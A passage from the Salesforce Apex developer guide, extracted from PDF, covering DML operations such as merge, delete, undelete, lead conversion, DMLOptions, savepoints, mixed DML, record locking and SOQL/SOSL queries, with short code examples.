// the related contact should be moved to the master record.
masterAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts)
FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
System.assert(masterAcct.getSObjects('Contacts').size() > 0);
System.assertEquals('Joe', masterAcct.getSObjects('Contacts')[0].get('FirstName'));
System.assertEquals('Merged', masterAcct.getSObjects('Contacts')[0].get('LastName'));
// Verify that the merge record got deleted
Account[] result = [SELECT Id, Name FROM Account WHERE Id=:mergeAcct.Id];
System.assertEquals(0, result.size());

This second example is similar to the previous except that it uses the Database.merge method (instead of the merge
statement). The last argument of Database.merge is set to false to have any errors encountered in this operation returned
in the merge result instead of getting exceptions. The example merges two accounts into the master account and retrieves the
returned results. The example creates a master account and two duplicates, one of which has a child contact. It verifies that
after the merge the contact is moved to the master account.
// Create master account
Account master = new Account(Name='Account1');
insert master;
// Create duplicate accounts
Account[] duplicates = new Account[]{
// Duplicate account
new Account(Name='Account1, Inc.'),
// Second duplicate account
new Account(Name='Account 1')
};
insert duplicates;
// Create child contact and associate it with first account
Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id);
insert c;
// Merge accounts into master
Database.MergeResult[] results = Database.merge(master, duplicates, false);
for(Database.MergeResult res : results) {

110
Working with Data in Apex

DML Operations

if (res.isSuccess()) {
// Get the master ID from the result and validate it
System.debug('Master record ID: ' + res.getId());
System.assertEquals(master.Id, res.getId());
// Get the IDs of the merged records and display them
List<Id> mergedIds = res.getMergedRecordIds();
System.debug('IDs of merged records: ' + mergedIds);
// Get the ID of the reparented record and
// validate that this the contact ID.
System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds());
System.assertEquals(c.Id, res.getUpdatedRelatedIds()[0]);
}
else {
for(Database.Error err : res.getErrors()) {
// Write each error to the debug output
System.debug(err.getMessage());
}
}
}

Merge Considerations
When merging sObject records, consider the following rules and guidelines:
•
•
•

•

Only leads, contacts, and accounts can be merged. See sObjects That Don’t Support DML Operations on page 122.
You can pass a master record and up to two additional sObject records to a single merge method.
Using the Apex merge operation, field values on the master record always supersede the corresponding field values on the
records to be merged. To preserve a merged record field value, simply set this field value on the master sObject before
performing the merge.
External ID fields can’t be used with merge.

For more information on merging leads, contacts and accounts, see the Salesforce online help.

Deleting Records
After you persist records in the database, you can delete those records using the delete operation. Deleted records aren’t
deleted permanently from Force.com, but they are placed in the Recycle Bin for 15 days from where they can be restored.
Restoring deleted records is covered in a later section.
Example
The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'DotCom'];
try {
delete doomedAccts;
} catch (DmlException e) {
// Process exception here
}

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 394.

Referential Integrity When Deleting and Restoring Records
The delete operation supports cascading deletions. If you delete a parent object, you delete its children automatically, as
long as each child record can be deleted.

111
Working with Data in Apex

DML Operations

For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution
records associated with that case. However, if a particular child record is not deletable or is currently being used, then the
delete operation on the parent case record fails.
The undelete operation restores the record associations for the following types of relationships:
•
•
•
•
•
•
•
•
•
•

Parent accounts (as specified in the Parent Account field on an account)
Parent cases (as specified in the Parent Case field on a case)
Master solutions for translated solutions (as specified in the Master Solution field on a solution)
Managers of contacts (as specified in the Reports To field on a contact)
Products related to assets (as specified in the Product field on an asset)
Opportunities related to quotes (as specified in the Opportunity field on a quote)
All custom lookup relationships
Relationship group members on accounts and relationship groups, with some exceptions
Tags
An article's categories, publication state, and assignments
Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to
a different product prior to the original product record being undeleted, that asset-product relationship is not restored.

Restoring Deleted Records
After you have deleted records, the records are placed in the Recycle Bin for 15 days, after which they are permanently deleted.
While the records are still in the Recycle Bin, you can restore them using the undelete operation. This is useful, for example,
if you accidentally deleted some records that you want to keep.
Example
The following example undeletes an account named 'Trump'. The ALL ROWS keyword queries all rows for both top level and
aggregate relationships, including deleted records and archived activities.
Account a = new Account(Name='Trump');
insert(a);
insert(new Contact(LastName='Carter',AccountId=a.Id));
delete a;
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Trump' ALL ROWS];
try {
undelete savedAccts;
} catch (DmlException e) {
// Process exception here
}

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 394.

Undelete Considerations
Note the following when using the undelete statement.
•
•

You can undelete records that were deleted as the result of a merge, but the child objects will have been reparented, which
cannot be undone.
Use the ALL ROWS parameters with a SOQL query to identify deleted records, including records deleted as a result of a
merge.

112
Working with Data in Apex

•

DML Operations

See Referential Integrity When Deleting and Restoring Records.

See Also:
Querying All Records with a SOQL Statement

Converting Leads
The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity.
convertLead is available only as a method on the Database class; it is not available as a DML statement.
Converting leads involves the following basic steps:
1. Your application determines the IDs of any lead(s) to be converted.
2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use
SOQL to search for accounts that match the lead name, as in the following example:
SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'

3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application
can use SOQL to search for contacts that match the lead contact name, as in the following example:
SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND
AccountId = '001...'

4. Optionally, the application determines whether opportunities should be created from the leads.
5. The application queries the LeadSource table to obtain all of the possible converted status options (SELECT ... FROM
LeadStatus WHERE IsConverted='1'), and then selects a value for the converted status.
6. The application calls convertLead.
7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine
whether conversion succeeded for each lead.
8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts
cannot be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner.
Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a
LeadConvert object and sets its status to converted, then passes it to the Database.convertLead method. Finally, it
verifies that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;
Database.LeadConvert lc = new database.LeadConvert();
lc.setLeadId(myLead.id);
LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true
LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);
Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());

113
Working with Data in Apex

DML Exceptions and Error Handling

Convert Leads Considerations
•

•

•

•

•

Field mappings: The system automatically maps standard lead fields to standard account, contact, and opportunity fields.
For custom lead fields, your Salesforce administrator can specify how they map to custom account, contact, and opportunity
fields. For more information about field mappings, see the Salesforce online help.
Merged fields: If data is merged into existing account and contact objects, only empty fields in the target object are
overwritten—existing data (including IDs) are not overwritten. The only exception is if you specify
setOverwriteLeadSource on the LeadConvert object to true, in which case the LeadSource field in the target contact
object is overwritten with the contents of the LeadSource field in the source LeadConvert object.
Record types: If the organization uses record types, the default record type of the new owner is assigned to records created
during lead conversion. The default record type of the user converting the lead determines the lead source values available
during conversion. If the desired lead source values are not available, add the values to the default record type of the user
converting the lead. For more information about record types, see the Salesforce online help.
Picklist values: The system assigns the default picklist values for the account, contact, and opportunity when mapping any
standard lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default
picklist values of the new record owner.
Automatic feed subscriptions: When you convert a lead into a new account, contact, and opportunity, the lead owner is
unsubscribed from the lead account. The lead owner, the owner of the generated records, and users that were subscribed
to the lead aren’t automatically subscribed to the generated records, unless they have automatic subscriptions enabled in
their Chatter feed settings. They must have automatic subscriptions enabled to see changes to the account, contact, and
opportunity records in their news feed. To subscribe to records they create, users must enable the Automatically
follow records that I create option in their personal settings. A user can subscribe to a record so that changes
to the record display in the news feed on the user's home page. This is a useful way to stay up-to-date with changes to
records in Salesforce.

DML Exceptions and Error Handling
Exception Handling
DML statements return run-time exceptions if something went wrong in the database during the execution of the DML
operations. You can handle the exceptions in your code by wrapping your DML statements within try-catch blocks. The
following example includes the insert DML statement inside a try-catch block.
Account a = new Account(Name='Acme');
try {
insert a;
} catch(DmlException e) {
// Process exception here
}

Database Class Method Result Objects
Database class methods return the results of the data operation. These result objects contain useful information about the data
operation for each record, such as whether the operation was successful or not, and any error information. Each type of operation
returns a specific result object type, as outlined below.
Operation

Result Class

insert, update

SaveResult Class

upsert

UpsertResult Class

merge

MergeResult Class

delete

DeleteResult Class

114
Working with Data in Apex

More About DML

Operation

Result Class

undelete

UndeleteResult Class

convertLead

LeadConvertResult Class

emptyRecycleBin

EmptyRecycleBinResult Class

Returned Database Errors
While DML statements always return exceptions when an operation fails for one of the records being processed and the
operation is rolled back for all records, Database class methods can either do so or allow partial success for record processing.
In the latter case of partial processing, Database class methods don’t throw exceptions. Instead, they return a list of errors for
any errors that occurred on failed records.
The errors provide details about the failures and are contained in the result of the Database class method. For example, a
SaveResult object is returned for insert and update operations. Like all returned results, SaveResult contains a method
called getErrors that returns a list of Database.Error objects, representing the errors encountered, if any.
Example
This example shows how to get the errors returned by a Database.insert operation. It inserts two accounts, one of which
doesn’t have the required Name field, and sets the second parameter to false: Database.insert(accts, false);.
This sets the partial processing option. Next, the example checks if the call had any failures through if (!sr.isSuccess())
and then iterates through the errors, writing error information to the debug log.
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
new Account(Name='Account1'),
new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);
// Iterate through each returned result
for (Database.SaveResult sr : srList) {
if (!sr.isSuccess()) {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Fields that affected this error: ' + err.getFields());
}
}
}

More About DML
Setting DML Options
You can specify DML options for insert and update operations by setting the desired options in the Database.DMLOptions
object. You can set Database.DMLOptions for the operation by calling the setOptions method on the sObject, or by
passing it as a parameter to the Database.insert and Database.update methods.
Using DML options, you can specify:
•
•
•

The truncation behavior of fields.
Assignment rule information.
Whether automatic emails are sent.

115
Working with Data in Apex

•
•

More About DML

The user locale for labels.
Whether the operation allows for partial success.

The Database.DMLOptions class has the following properties:
•
•
•
•
•

allowFieldTruncation Property
assignmentRuleHeader Property
emailHeader Property
localeOptions Property
optAllOrNone Property

DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only
for record operations performed using Apex DML and not through the Salesforce user interface.
allowFieldTruncation Property

The allowFieldTruncation property specifies the truncation behavior of strings. In Apex saved against API versions
previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and
later, if a value is specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation
property allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against
API versions 15.0 and later.
The allowFieldTruncation property takes a Boolean value. If true, the property truncates String values that are too
long, which is the behavior in API versions 14.0 and earlier. For example:
Database.DMLOptions dml = new Database.DMLOptions();
dml.allowFieldTruncation = true;

assignmentRuleHeader Property

The assignmentRuleHeader property specifies the assignment rule to be used when creating a case or lead.
Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or
territory management.
Using the assignmentRuleHeader property, you can set these options:
•

assignmentRuleID: The ID of an assignment rule for the case or lead. The assignment rule can be active or inactive.
The ID can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule. If the

value is not in the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
Note: For the Case sObject, the assignmentRuleID DML option can be set only from the API and is ignored
when set from Apex. For example, you can set the assignmentRuleID for an active or inactive rule from the
executeanonymous() API call, but not from the Developer Console. This doesn’t apply to leads—the
assignmentRuleID DML option can be set for leads from both Apex and the API.
•

useDefaultRule: Indicates whether the default (active) assignment rule will be used for a case or lead. If specified, do
not specify an assignmentRuleId.

The following example uses the useDefaultRule option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;

116
Working with Data in Apex

More About DML

The following example uses the assignmentRuleID option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;

emailHeader Property

The Salesforce user interface allows you to specify whether or not to send an email when the following events occur:
•
•
•
•
•
•

Creation of a new case or task
Creation of a case comment
Conversion of a case email to a contact
New user email notification
Lead queue email notification
Password reset

In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify
additional information regarding the email that gets sent when one of the events occurs because of Apex DML code execution.
Using the emailHeader property, you can set these options.
•

•
•

triggerAutoResponseEmail: Indicates whether to trigger auto-response rules (true) or not (false), for leads and

cases. This email can be automatically triggered by a number of events, for example when creating a case or resetting a user
password. If this value is set to true, when a case is created, if there is an email address for the contact specified in
ContactID, the email is sent to that address. If not, the email is sent to the address specified in SuppliedEmail.
triggerOtherEmail: Indicates whether to trigger email outside the organization (true) or not (false). This email
can be automatically triggered by creating, editing, or deleting a contact for a case.
triggerUserEmail: Indicates whether to trigger email that is sent to users in the organization (true) or not (false).
This email can be automatically triggered by a number of events; resetting a password, creating a new user, adding comments
to a case, or creating or modifying a task.

Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for
emailHeader take effect only for DML operations carried out in Apex code.
In the following example, the triggerAutoResponseEmail option is specified:
Account a = new Account(name='Acme Plumbing');
insert a;
Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe',lastname='Plumber',
accountid=a.id);
insert c;
Database.DMLOptions dlo = new Database.DMLOptions();
dlo.EmailHeader.triggerAutoResponseEmail = true;
Case ca = new Case(subject='Plumbing Problems', contactid=c.id);
database.insert(ca, dlo);

Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which
IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note
the following behaviors for group event email sent through Apex:
•

Sending a group event invitation to a user respects the triggerUserEmail option
117
Working with Data in Apex

•
•

More About DML

Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate

localeOptions Property

The localeOptions property specifies the language of any labels that are returned by Apex. The value must be a valid user
locale (language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters
are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has
an underscore (_) and another ISO country code, for example 'US' or 'UK.' For example, the string for the United States is
'en_US', and the string for French Canadian is 'fr_CA.'
For a list of the languages that Salesforce supports, see What languages does Salesforce support? in the Salesforce online help.
optAllOrNone Property

The optAllOrNone property specifies whether the operation allows for partial success. If optAllOrNone is set to true,
all changes are rolled back if any record causes errors. The default for this property is false and successfully processed records
are committed while records with errors aren't. This property is available in Apex saved against Salesforce.com API version
20.0 and later.

Transaction Control
All requests are delimited by the trigger, class method, Web Service, Visualforce page or anonymous block that executes the
Apex code. If the entire request completes successfully, all changes are committed to the database. For example, suppose a
Visualforce page called an Apex controller, which in turn called an additional Apex class. Only when all the Apex code has
finished running and the Visualforce page has finished running, are the changes committed to the database. If the request
does not complete successfully, all database changes are rolled back.
Sometimes during the processing of records, your business rules require that partial work (already executed DML statements)
be “rolled back” so that the processing can continue in another direction. Apex gives you the ability to generate a savepoint,
that is, a point in the request that specifies the state of the database at that time. Any DML statement that occurs after the
savepoint can be discarded, and the database can be restored to the same condition it was in at the time you generated the
savepoint.
The following limitations apply to generating savepoint variables and rolling back the database:
•

•
•
•
•
•

If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later
savepoint variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then
you rolled back to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it.
References to savepoints cannot cross trigger invocations, because each trigger invocation is a new execution context. If
you declare a savepoint as a static variable then try to use it across trigger contexts you will receive a runtime error.
Each savepoint you set counts against the governor limit for DML statements.
Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values
from the first run.
Each rollback counts against the governor limit for DML statements. You will receive a runtime error if you try to rollback
the database additional times.
The ID on an sObject inserted after setting a savepoint is not cleared after a rollback. Create new a sObject to insert after
a rollback. Attempting to insert the sObject using the variable created before the rollback fails because the sObject variable
has an ID. Updating or upserting the sObject using the same variable also fails because the sObject is not in the database
and, thus, cannot be updated.

118
Working with Data in Apex

More About DML

The following is an example using the setSavepoint and rollback Database methods.
Account a = new Account(Name = 'xxx'); insert a;
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Create a savepoint while AccountNumber is null
Savepoint sp = Database.setSavepoint();
// Change the account number
a.AccountNumber = '123';
update a;
System.assertEquals('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Rollback to the previous null value
Database.rollback(sp);
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);

sObjects That Cannot Be Used Together in DML Operations
DML operations on certain sObjects can’t be mixed with other sObjects in the same transaction. This is because some sObjects
affect the user’s access to records in the organization. These types of sObjects must be inserted or updated in a different
transaction to prevent operations from happening with incorrect access level permissions. For example, you can’t update an
account and a user role in a single transaction. However, there are no restrictions on delete DML operations.
The following sObjects can’t be used with other sObjects when performing DML operations in the same transaction:
•
•

FieldPermissions
Group
You can only insert and update a group in a transaction with other sObjects. Other DML operations are not allowed.

•

GroupMember
You can only insert and update a group member in a transaction with other sObjects in Apex code saved using Salesforce.com
API version 14.0 and earlier.

•
•
•
•
•
•

ObjectPermissions
PermissionSet
PermissionSetAssignment
QueueSObject
SetupEntityAccess
User
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 14.0 and
earlier.
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 15.0 and
later if UserRoleId is specified as null.
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 14.0 and
earlier
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 15.0 and
later if the following fields are not also updated:
◊ UserRoleId
◊ IsActive

119
Working with Data in Apex

◊
◊
◊
◊

More About DML

ForecastEnabled
IsPortalEnabled
Username
ProfileId

UserRole
UserTerritory
Territory
Custom settings in Apex code saved using Salesforce.com API version 17.0 and earlier.

•
•
•
•

If you are using a Visualforce page with a custom controller, you can only perform DML operations on a single type of sObject
within a single request or action. However, you can perform DML operations on different types of sObjects in subsequent
requests, for example, you can create an account with a save button, then create a user with a submit button.
You can perform DML operations on more than one type of sObject in a single class using the following process:
1. Create a method that performs a DML operation on one type of sObject.
2. Create a second method that uses the future annotation to manipulate a second sObject type.
This process is demonstrated in the example in the next section.
Example: Using a Future Method to Perform Mixed DML Operations
This example shows how to perform mixed DML operations by using a future method to perform a DML operation on the
User object.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
Account a = new Account(Name='Acme');
insert a;
// This next operation (insert a user with a role)
// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'mruiz@awcomputing.com', 'mruiz',
'mruiz@awcomputing.com', 'Ruiz');
}
}
public class Util {
@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username=uname);
insert u;
}
}

120
Working with Data in Apex

More About DML

Mixed DML Operations in Test Methods
Test methods allow for performing mixed DML operations between the sObjects listed in sObjects That Cannot Be Used
Together in DML Operations and other sObjects if the code that performs the DML operations is enclosed within
System.runAs method blocks. This enables you, for example, to create a user with a role and other sObjects in the same
test.
Example: Mixed DML Operations in System.runAs Blocks
This example shows how to enclose mixed DML operations within System.runAs blocks to avoid the mixed DML error.
The System.runAs block runs in the current user’s context. It creates a test user with a role and a test account, which is a
mixed DML operation.
@isTest
private class MixedDML {
static testMethod void mixedDMLExample() {
User u;
Account a;
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// Insert account as current user
System.runAs (thisUser) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
u = new User(alias = 'jsmith', email='jsmith@acme.com',
emailencodingkey='UTF-8', lastname='Smith',
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username='jsmith@acme.com');
insert u;
a = new Account(name='Acme');
insert a;
}
}
}

Using Test.startTest and Test.stopTest to bypass the mixed DML error in a Test Method
The mixed DML exception error is still sometimes returned even if you enclose the code block that performs the mixed DML
operations within a System.runAs block. This can occur if the test method calls a future method that performs a DML
operation that can’t be mixed with others, such as deleting a group. If you get the mixed DML exception in this case, enclose
the code block that makes the future method call within Test.startTest and Test.stopTest statements.
This example shows how enclosing the delete statement between Test.startTest and Test.stopTest statements
prevents the mixed DML exception error in a test. Because the delete statement causes a mixed DML operation to be
executed by a future method, it is enclosed within the Test.startTest and Test.stopTest statements. The delete
statement causes a trigger to fire, deleting the group that was inserted earlier by the account insert trigger by calling the
deleteGroup future method of the Util class.
This is the test class that causes a mixed DML operation to occur. The account insertion and deletion fire the triggers.
@isTest
private class RunasTest {
static testMethod void mixeddmltest() {
// Create the account and group.
Account ac = new Account(Name='TEST ACCOUNT');
// Group is created in the insert trigger.
insert ac;
// Set up user
User u1 = [SELECT Id FROM User WHERE UserName='testadmin@acme.com'];
System.RunAs(u1){
// Add startTest and stopTest to avoid mixed DML error
Test.startTest();

121
Working with Data in Apex

More About DML

// Delete the account.
// Group is deleted through future method call in trigger.
delete ac;
Test.stopTest();
}
}
}

This is the account insert trigger that inserts a group.
trigger Account_After_Insert_Trg on Account (after insert) {
Group gr = new Group(Name='Test',Type='Regular');
insert gr;
}

This is the account delete trigger that calls a future method to delete a group.
trigger Account_Before_Delete_Trg on Account (before delete) {
Util.deleteGroup('Test');
}

This is the future method that deletes a group.
public with sharing class Util {
@future
public static void deleteGroup(String grNameSet) {
List<Group> grList =
[select Id, Name from Group where Name = :grNameSet];
delete grList[0];
}
}

sObjects That Don’t Support DML Operations
Your organization contains standard objects provided by Salesforce and custom objects that you created. These objects can be
accessed in Apex as instances of the sObject data type. You can query these objects and perform DML operations on them.
However, some standard objects don’t support DML operations although you can still obtain them in queries. They include
the following:
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

AccountTerritoryAssignmentRule
AccountTerritoryAssignmentRuleItem
ApexComponent
ApexPage
BusinessHours
BusinessProcess
CategoryNode
CurrencyType
DatedConversionRate
NetworkMember (allows update only)
ProcessInstance
Profile
RecordType
SelfServiceUser
StaticResource
UserAccountTeamMember
122
Working with Data in Apex

•
•

More About DML

UserTerritory
WebLink
Note: All standard and custom objects can also be accessed through the SOAP API. ProcessInstance is an exception.
You can’t create, update, or delete ProcessInstance in the SOAP API.

Bulk DML Exception Handling
Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct
result of the call) are handled differently depending on where the original call came from:
•

•

When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the
all_or_none parameter of a database DML method was specified as true, the runtime engine follows the “all or nothing”
rule: during a single operation, all records must be updated successfully or the entire operation rolls back to the point
immediately preceding the DML statement.
When errors occur because of a bulk DML call that originates from the SOAP API, the runtime engine attempts at least
a partial save:
1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such
as validation rules or unique index violations is set aside.
2. If there were errors during the first attempt, the runtime engine makes a second attempt which includes only those
records that did not generate errors. All records that didn't generate an error during the first attempt are processed,
and if any record generates an error (perhaps because of race conditions) it is also set aside.
3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt which
includes only those records that did not generate errors during the first and second attempts. If any record generates
an error, the entire operation fails with the error message, “Too many batch retries in the presence of Apex triggers
and partial failures.”
Note: During the second and third attempts, governor limits are reset to their original state before the first
attempt. See Understanding Execution Governors and Limits on page 236.

Things You Should Know About Data in Apex
Non-Null Required Fields Values and Null Fields
When inserting new records or updating required fields on existing records, you must supply non-null values for all
required fields.
Unlike the SOAP API, Apex allows you to change field values to null without updating the fieldsToNull array on
the sObject record. The API requires an update to this array due to the inconsistent handling of null values by many
SOAP providers. Because Apex runs solely on the Force.com platform, this workaround is unnecessary.
DML Not Supported with Some sObjects
DML operations are not supported with certain sObjects. See sObjects That Don’t Support DML Operations.
String Field Truncation and API Version
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a
String value that is too long for the field.
sObject Properties to Enable DML Operations
To be able to insert, update, delete, or undelete an sObject record, the sObject must have the corresponding property
(createable, updateable, deletable, or undeletable respectively) set to true.
123
Working with Data in Apex

Locking Records

ID Values
The insert statement automatically sets the ID value of all new sObject records. Inserting a record that already has
an ID—and therefore already exists in your organization's data—produces an error. See Lists for more information.
The insert and update statements check each batch of records for duplicate ID values. If there are duplicates, the
first five are processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with
an error similar to the following: Maximum number of duplicate updates in one batch (5
allowed). Attempt to update Id more than once in this API call: number_of_attempts.
The ID of an updated sObject record cannot be modified in an update statement, but related record IDs can.
Fields With Unique Constraints
For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For
example, inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup
records must have unique names.
System Fields Automatically Set
When inserting new records, system fields such as CreatedDate, CreatedById, and SystemModstamp are
automatically updated. You cannot explicitly specify these values in your Apex. Similarly, when updating records, system
fields such as LastModifiedDate, LastModifiedById, and SystemModstamp are automatically updated.
Maximum Number of Records Processed by DML Statement
You can pass a maximum of 10,000 sObject records to a single insert, update, delete, and undelete method.
Each upsert statement consists of two operations, one for inserting records and one for updating records. Each of these
operations is subject to the runtime limits for insert and update, respectively. For example, if you upsert more than
10,000 records and all of them are being updated, you receive an error. (See Understanding Execution Governors and
Limits on page 236)
Upsert and Foreign Keys
You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see
Field Types in the Object Reference for Salesforce and Force.com.

Locking Records
Locking Statements
Apex allows you to lock sObject records while they’re being updated in order to prevent race conditions and other thread safety
problems. While an sObject record is locked, no other client or user is allowed to make updates either through code or the
Salesforce user interface. The client locking the records can perform logic on the records and make updates with the guarantee
that the locked records won’t be changed by another client during the lock period. The lock gets released when the transaction
completes.
To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example,
the following statement, in addition to querying for two accounts, also locks the accounts that are returned:
Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];

Note: You can’t use the ORDER BY keywords in any SOQL query that uses locking.

124
Working with Data in Apex

SOQL and SOSL Queries

Locking Considerations
•

•
•

While the records are locked by a client, the locking client can modify their field values in the database in the same
transaction. Other clients have to wait until the transaction completes and the records are no longer locked before being
able to update the same records. Other clients can still query the same records while they’re locked.
If you attempt to lock a record currently locked by another client, you will get a QueryException. Similarly, if you
attempt to update a record currently locked by another client, you will get a DmlException.
If a client attempts to modify a locked record, the update operation might succeed if the lock gets released within a short
amount of time after the update call was made. In this case, it is possible that the updates will overwrite those made by the
locking client if the second client obtained an old copy of the record. To prevent this from happening, the second client
must lock the record first. The locking process returns a fresh copy of the record from the database through the SELECT
statement. The second client can use this copy to make new updates.
Warning: Use care when setting locks in your Apex code. See Avoiding Deadlocks.

Locking in a SOQL For Loop
The FOR UPDATE keywords can also be used within SOQL for loops. For example:
for (Account[] accts : [SELECT Id FROM Account
FOR UPDATE]) {
// Your code
}

As discussed in SOQL For Loops, the example above corresponds internally to calls to the query() and queryMore()
methods in the SOAP API.
Note that there is no commit statement. If your Apex trigger completes successfully, any database changes are automatically
committed. If your Apex trigger does not complete successfully, any changes made to the database are rolled back.

Avoiding Deadlocks
Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables
or rows. To avoid such deadlocks, the Apex runtime engine:
1. First locks sObject parent records, then children.
2. Locks sObject records in order of ID when multiple records of the same type are being edited.
As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard
deadlock avoidance techniques by accessing tables and rows in the same order from all locations in an application.

SOQL and SOSL Queries
You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements
on-the-fly in Apex by surrounding the statement in square brackets.

SOQL Statements
SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries.
For example, you could retrieve a list of accounts that are named Acme:
List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];

125
Working with Data in Apex

SOQL and SOSL Queries

From this list, you can access individual elements:
if (!aa.isEmpty()) {
// Execute commands
}

You can also create new objects from SOQL queries on existing ones. The following example creates a new contact for the
first account with the number of employees greater than 10:
Contact c = new Contact(Account = [SELECT Name FROM Account
WHERE NumberOfEmployees > 10 LIMIT 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';

Note that the newly created object contains null values for its fields, which will need to be set.
The count method can be used to return the number of rows returned by a query. The following example returns the total
number of contacts with the last name of Weissman:
Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];

You can also operate on the results using standard arithmetic:
Integer j = 5 * [SELECT COUNT() FROM Account];

For a full description of SOQL query syntax, see the Salesforce SOQL and SOSL Reference Guide.

SOSL Statements
SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type.
The result lists are always returned in the same order as they were specified in the SOSL query. If a SOSL query does not
return any records for a specified sObject type, the search results include an empty list for that sObject.
